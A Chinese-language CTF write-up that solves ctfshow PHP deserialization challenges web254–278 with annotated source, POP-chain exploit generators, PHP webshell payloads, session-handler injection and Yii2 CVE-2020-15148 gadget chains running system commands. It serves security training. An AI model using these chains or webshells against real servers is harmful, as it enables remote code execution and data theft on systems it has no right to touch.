ctfshow反序列化题目,更新完毕,web254-278,截止到2026.8.25

php<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
没有好说的,就是注意不要写成"xxxxxx"

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这关不难,但是要把cookie进行url编码,并且是除了等号以外的都要。

php<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
echo serialize(new ctfShowUser());
?>

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这关和上关差不多,只需要修改username和password字段使两个不相等即可

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
题目代码中,ctfShowUser 类的析构函数:
phppublic function __destruct(){
$this->class->getInfo();
}
只要 ctfShowUser 对象被销毁,就会自动执行 $this->class->getInfo()。如果 $this->class 是一个 backDoor 对象,那么调用的就是 backDoor 的 getInfo():
phpclass backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
这个 getInfo() 会执行 eval($this->code),而 $code 属性是攻击者可控的,从而实现任意代码执行。
exp 代码的作用是生成一个符合要求的序列化字符串,以便放入 Cookie 中,让服务端 unserialize() 后得到我们精心构造的对象。
exp 中重新定义了 ctfShowUser 的构造函数:
phppublic function __construct(){
$this->class = new backDoor(); // 将 class 属性赋值为 backDoor 对象
}
原因:原题目代码中 ctfShowUser 的构造函数会将 $this->class 初始化为 new info()(info 类是无害的,只会返回一个字符串)。如果我们不改写,直接序列化 new ctfShowUser(),得到的 $class 就是 info 对象,无法触发 eval。
因此,exp 中重写了构造函数,让 $class 属性在实例化时就被替换为 backDoor 对象。这样序列化后的字符串中,$class 就是一个 backDoor 对象,反序列化后,__destruct() 就会调用 backDoor->getInfo(),执行我们的恶意代码。
同时,backDoor 的 $code 属性被设置为 system('cat flag.php');,这样 eval 就会执行系统命令读取 flag。

php<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class;
public function __construct(){
$this->class = new backDoor(); // 关键:赋值为 backDoor 对象
}
}
class backDoor{
private $code="system('cat flag.php');";
}
echo serialize(new ctfShowUser());
?>

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
preg_match 用于检查字符串中是否匹配正则表达式。/[oc]:\d+:/i
[oc]:匹配字母 o 或 c(不区分大小写,因为后面有 i 修饰符)。::匹配一个冒号。\d+:匹配一个或多个数字。::再匹配一个冒号。i:表示不区分大小写。O:数字: 或 C:数字: 的片段。!preg_match(...)
! 取反,即如果不匹配才执行下面的代码。$user = unserialize($_COOKIE['user']);
user 的值不包含 O:数字: 或 C:数字: 这样的模式时,才进行反序列化。exp,生成payload后这里我们使用+号绕过
phpO:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:13:"system('ls');";}}
php<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class;
public function __construct(){
$this->class = new backDoor(); // 关键:赋值为 backDoor 对象
}
}
class backDoor{
public $code="system('cat flag.php');";
}
echo serialize(new ctfShowUser());
?>

index.php
php <?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
Notice: Undefined index: vip in /var/www/html/index.php on line 6
Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8
flag.php
php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
$_SERVER['HTTP_X_FORWARDED_FOR'] 是从客户端发送的 X-Forwarded-For 请求头中获取的字符串,该头通常包含一个逗号分隔的 IP 地址列表,表示请求经过的代理或客户端的 IP 链。explode(',', ...) 将这个字符串按逗号分割成数组,例如 "127.0.0.1, 1.2.3.4" 会变成 ["127.0.0.1", " 1.2.3.4"](注意第二个元素可能带有空格,取决于原始头格式)。array_pop($xff) 移除数组最后一个元素(通常是最接近服务器的 IP,可能是真实客户端 IP 或被服务器追加的 IP)。array_pop($xff) 再次移除最后一个元素(现在是新数组的最后一个),并将其赋值给 $ip。因此最终取的是原始列表的倒数第二个 IP。发送请求,写入flag

我不理解了,本来以为是要调用某个类中的方法,结果直接访问flag.txt就给了flag

php<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
preg_match($pattern, $subject) 用于检查 $subject 中是否包含符合正则 $pattern 的子串。$pattern 是 /ctfshow_i_love_36D/,表示匹配字面字符串 ctfshow_i_love_36D(没有特殊正则符号)。$subject 是 serialize($_GET['ctfshow']),即对 GET 参数 ctfshow 进行 PHP 序列化后的结果。ctfshow_i_love_36D,preg_match 返回 1,条件成立,执行 echo $flag 输出 flag。所以只要包含ctfshow_i_love_36D就可以

php<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
在 PHP 7.4+ 中,如果类实现了 __unserialize,则不会调用 __wakeup
利用思路:

php<?php
class ctfshowvip{
public $username="877.php";
public $password='<?php @eval($_POST["pass"]);?>';
public $code;
}
echo serialize(new ctfshowvip());
?>


index.php
php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
提示存在message.php
php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
假设我们传入的参数为:
f=at=bm=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}
(这里为了可读性,没有显示所有 44 个 fuck,但意思就是这样)原始的序列化字符串(未替换)大致为:
phpO:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:XXXX:"fuckfuckfuck...";s:2:"to";s:1:"b";s:5:"token";s:4:"user";}
其中 XXXX 是 m 值的总长度(包括大量 fuck 和注入代码)。假设这个总长度为 L。
替换后,所有 fuck 变成 loveU,因此 msg 的实际内容变长了 44 个字符,但是序列化中 s:XXXX:" 的长度仍然写着 L。于是 PHP 反序列化器读取到 s:XXXX:" 后,会从下一个字符开始读取 L 个字符作为 msg 的值。但实际字符串比 L 长,多出的 44 个字符就会溢出到外面。
溢出的 44 个字符恰好就是注入字符串 ";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}。于是,反序列化器在读完 msg 的值后,正好停在注入字符串开头的 " 处。接下来,它把这个 " 当作下一个字段的起始引号,然后解析出 ;s:2:"to";s:1:"b";s:5:"token";s:5:"admin";},于是得到两个字段:to = b 和 token = admin,覆盖了原始的两个字段。
最终反序列化得到的对象属性为:
from = amsg = loveU...(前 L 个字符,内容不重要)to = btoken = admin从而 token == 'admin' 成立,输出 flag。

phpfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:1:"b";s:5:"token";s:5:"admin";}
必须用url编码
php?f=a&m=fuckfuck...%22%3Bs%3A2%3A%22to%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22admin%22%3B%7D&t=b
刷新message界面

有点蒙,给了个登录框,没有东西,发现源码有check.php没看出所以然,sql万能密码试了试没有,因为这是反序列化吗,没有黑盒测试,所以我们要寻找源码
扫出来几个,下载www.zip,下载器抽风,换一个浏览器
index.php
php<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>
<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>
<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script>
function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}
});
}
</script>
</body>
</html>
check.php
php<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
inc.php
php<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);
// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}
inc.php 中定义了 User 类:
__destruct() 会将 $password 写入到 log-{$username} 文件中。如果令:
$username = "1.php" → 文件名为 log-1.php $password = "<?php eval($_POST[1]);?>" → 文件内容为 PHP 一句话木马
虽然前面有 使用 前缀,但 PHP 解析器会跳过文本直到遇到 <?php 标签,因此可以成功执行。
index.php 的 Cookie 可控 Session
php$_SESSION['limit']=base64_decode($_COOKIE['limit']);
攻击者可以通过控制 Cookie limit 来写入任意的 Session 值,且 $_SESSION['limti'] 存在拼写错误,导致登录次数限制完全失效。
exp1
php<?php
class User{
public $username;
public $password;
public $status;
}
$user = new User();
$user->username = '1.php';
$user->password = '<?php eval($_POST[1]);?>';
$user->status = true;
$payload = '|' . serialize($user);
echo base64_encode($payload);

此时 index.php 以 php_serialize 格式写入 Session 文件,内容类似:
phpa:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";b:1;}";}
这里尝试了下,不行,可能是被查杀,换成直接读文件

exp2
php<?php
class User{
public $username;
public $password;
public $status;
}
$user = new User();
$user->username = 'f.php';
// 直接读 flag,不需要 eval,不会被查杀
$user->password = '<?php echo file_get_contents("flag.php");?>';
$user->status = true;
echo base64_encode('|'.serialize($user));
?>
发送两遍,第一遍是给你limit字段,第二遍是写入

这里访问check.php就是写入到根目录,访问inc/inc.php就是写入到inc目录下

访问得到flag

或者,eval被禁用了,这里是使用system


提示
你登录一个网站后,关闭浏览器再打开,网站怎么知道"你还是你"?
答案是:服务器给你发了一个"身份证"(Cookie),里面写着 Session ID;服务器硬盘上存着一个对应的"档案"(Session 文件)。
PHPSESSID = 你的身份证号/tmp/sess_xxx 文件 = 你的档案,里面存着 $_SESSION 的所有数据当你访问页面时:
PHPSESSID 发给服务器sess_xxx 文件$_SESSION 数组关键问题:这个"档案"怎么存?怎么读?
PHP 提供了几种不同的"存取格式",叫做 Session Serialize Handler(序列化处理器)。
这道题涉及两种处理器:
php_serialize 格式(新版、标准)就像 JSON 一样,把整个数组序列化成一串字符串:
a:1:{s:5:"limit";s:3:"abc";}
拆解:
a:1: = 一个数组,里面有 1 个元素{...} = 数组内容s:5:"limit" = 键名是字符串,长度 5,值是 "limit"s:3:"abc" = 值是字符串,长度 3,值是 "abc"特点:整个文件就是一个完整的序列化数组,结构清晰。
php 格式(旧版、简单)格式是:键名|值(用竖线 | 分隔)
limit|s:3:"abc";
拆解:
limit = 键名| = 分隔符(告诉 PHP:前面是键名,后面是值)s:3:"abc" = 值的内容(字符串,长度 3,"abc")特点:简单,但只支持字符串和数字,而且用 | 当分隔符。
现在看题目代码:
phpsession_start(); // 没有设置 handler,用 php.ini 默认值
// 默认一般是 php_serialize
phpini_set('session.serialize_handler', 'php'); // 强制指定用 php 格式
session_start();
问题来了:同一个 Session 文件,先被 A 格式写入,再被 B 格式读取!
| 就能攻击?|)你访问 index.php,它用 php_serialize 格式写入 Session:
a:1:{s:5:"limit";s:106:"O:4:"User":3:{...}";}
注意:值是 O:4:"User"...,这是一个序列化对象字符串,但它被当作普通字符串包在 s:106:"..." 里面。
然后你访问 check.php,它用 php 格式读取。php 格式找 | 当分隔符,但整个文件里没有 |!
所以 PHP 会把整个文件内容当成键名,值是空。$_SESSION 变成一个乱七八糟的数组,不会触发反序列化。
|)你在 index.php 写入时,让 limit 的值变成:
|O:4:"User":3:{s:8:"username";s:5:"c.php";...}
因为 index.php 用 php_serialize 格式,整个文件变成:
a:1:{s:5:"limit";s:107:"|O:4:"User":3:{...}";}
注意:| 被当作普通字符串存进去了!
现在访问 check.php,它用 php 格式读取这个文件。php 格式看到 | 就兴奋了:
前面部分(被当成键名) | O:4:"User":3:{...}(被当成值)
PHP 解析:
a:1:{s:5:"limit";s:107:"(前面一堆,不重要)| 分隔符O:4:"User":3:{...} ← 这是一个序列化对象!然后 PHP 对值执行 unserialize()(反序列化),User 对象被还原出来!
脚本结束时,PHP 会自动销毁这个 User 对象,触发 __destruct(),执行 file_put_contents,写入 webshell。
你生成的 Payload:
|O:4:"User":3:{s:8:"username";s:5:"c.php";s:8:"password";s:26:"<?php system($_POST[qwq]);?>";s:6:"status";b:1;}
逐段解释:
| 片段 | 含义 |
|---|---|
| ` | ` |
O:4:"User" | Object(对象),类名长度 4,类名 "User" |
:3: | 对象有 3 个属性 |
{...} | 属性列表 |
s:8:"username" | 第一个属性名,字符串,长度 8 |
s:5:"c.php" | 值是字符串 "c.php" |
s:8:"password" | 第二个属性名 |
s:26:"<?php system(...);?>" | 值是 26 字节的 PHP 代码 |
s:6:"status" | 第三个属性名 |
b:1 | 值是布尔型 true |
当这个字符串被 php 处理器当作"值"读取时,PHP 发现它是 O: 开头,就会调用 unserialize() 还原成对象。
[浏览器] [服务器] | | | 1. 访问 /index.php | | (不带 Cookie,新 Session)| |-------------------------->| | | 创建新 Session 文件 | 返回 PHPSESSID=xxx | |<--------------------------| | | | 2. 访问 /index.php | | Cookie: limit=恶意base64 | |-------------------------->| | | php_serialize 写入: | | a:1:{s:5:"limit";s:107:"|O:4:User...";} |<--------------------------| | | | 3. 访问 /check.php | | Cookie: PHPSESSID=xxx | |-------------------------->| | | php 格式读取 Session | | 发现 | 分隔符 | | 对后面 O:4:User... 执行 unserialize() | | 生成 User 对象 | | 脚本结束 → __destruct() | | file_put_contents("log-c.php", "webshell") |<--------------------------| | | | 4. 访问 /log-c.php | | POST: qwq=whoami | |-------------------------->| | | 执行 webshell,返回命令结果 |<--------------------------|
拿到一套 PHP 源码,重点看这几个地方:
session.serialize_handlerbashgrep -r "session.serialize_handler" .
如果发现:
php,B 页面没有设置(或设置了 php_serialize)$_SESSION[...] = 的可控来源看 $_SESSION 的键值是否来自用户输入:
$_SESSION['xxx'] = $_GET['yyy']$_SESSION['xxx'] = $_COOKIE['yyy']$_SESSION['xxx'] = base64_decode($_COOKIE['yyy']) ← 本题如果用户能控制 Session 文件里的内容,且内容不经过滤,就能注入 |。
__destruct() / __wakeup()bashgrep -r "__destruct" .
grep -r "__wakeup" .
看这些魔术方法里有没有危险操作:
file_put_contents(写文件)eval() / system() / exec()(命令执行)unlink()(删文件)file_get_contents + 用户可控路径(文件读取)有危险操作 + 属性可控 = 潜在的 POP 链。
php.ini 配置如果源码里没有 ini_set,看 php.ini:
inisession.serialize_handler = php_serialize
如果默认是 php_serialize,而某个入口文件(如 API、第三方库)单独改成了 php,就存在差异。
php<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
和前面262差不多,只不过这次存在session里面,请求带上msg就可以
php?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
执行到:
php
$ctfshow->token = md5(mt_rand());
token 会变成一个随机 MD5,而要让password 随着一起变化才能绕过,所以需要& ,是 PHP 的引用赋值操作符。
php$a = 'hello';
$b = &$a; // b 引用 a
$b = 'world';
echo $a; // 输出 world,因为 a 和 b 指向同一个变量
exp
php<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$obj = new ctfshowAdmin('a','a');
$obj->password = &$obj->token; // 关键:让 password 成为 token 的引用
echo serialize($obj);
?>

php <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
php://input 是 PHP 的一个输入流,能读取到 POST 请求的原始数据(无论 Content-Type 是什么)。
这里因为他会过滤掉ctfshow所以需要大写类名,PHP 的类名不区分大小写,unserialize 时 CtfShow 依然会被识别为 ctfshow 类。
exp
php<?php
class Ctfshow{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
echo serialize(new ctfshow('xxxxxx','xxxxxx'));
?>

打开进入到登录界面,看到是remeberme以为是shiro,识别发现是yii框架

问了问ai,说是yii2

比较有名的是这个

一开始想按照完整的去打,结果发现读不到cookieValidationKey,于是搜了搜发现是弱口令登录admin/admin后再去读about的后门源码

使用cve-2020-15148的poc去执行,这里使用passthru
php<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
// 方案1:有回显,直接看目录
$this->checkAccess = 'passthru';
$this->id = 'ls -al /';
// 方案2:直接读flag(如果知道路径)
// $this->id = 'cat /flag';
// 方案3:写shell(无回显时用)
// $this->checkAccess = 'shell_exec';
// $this->id = "echo '<?php eval(\$_GET[1]);?>' > shell.php";
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
传参



一样的界面

一样的利用,却无回显,所以需要写入shell

换链子写shell不行,只能复制到33.txt
php<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 33.txt');
echo(base64_encode(serialize($exp)));
}

提示
PHP 对象里有一些名字固定、自动触发的函数:
| 魔法方法 | 什么时候自动触发? | 类比 |
|---|---|---|
__destruct() | 对象被销毁时(比如页面结束) | 机器人被扔掉前,自动执行"自毁程序" |
__wakeup() | 对象被反序列化唤醒时 | 机器人被拼装完成,通电启动 |
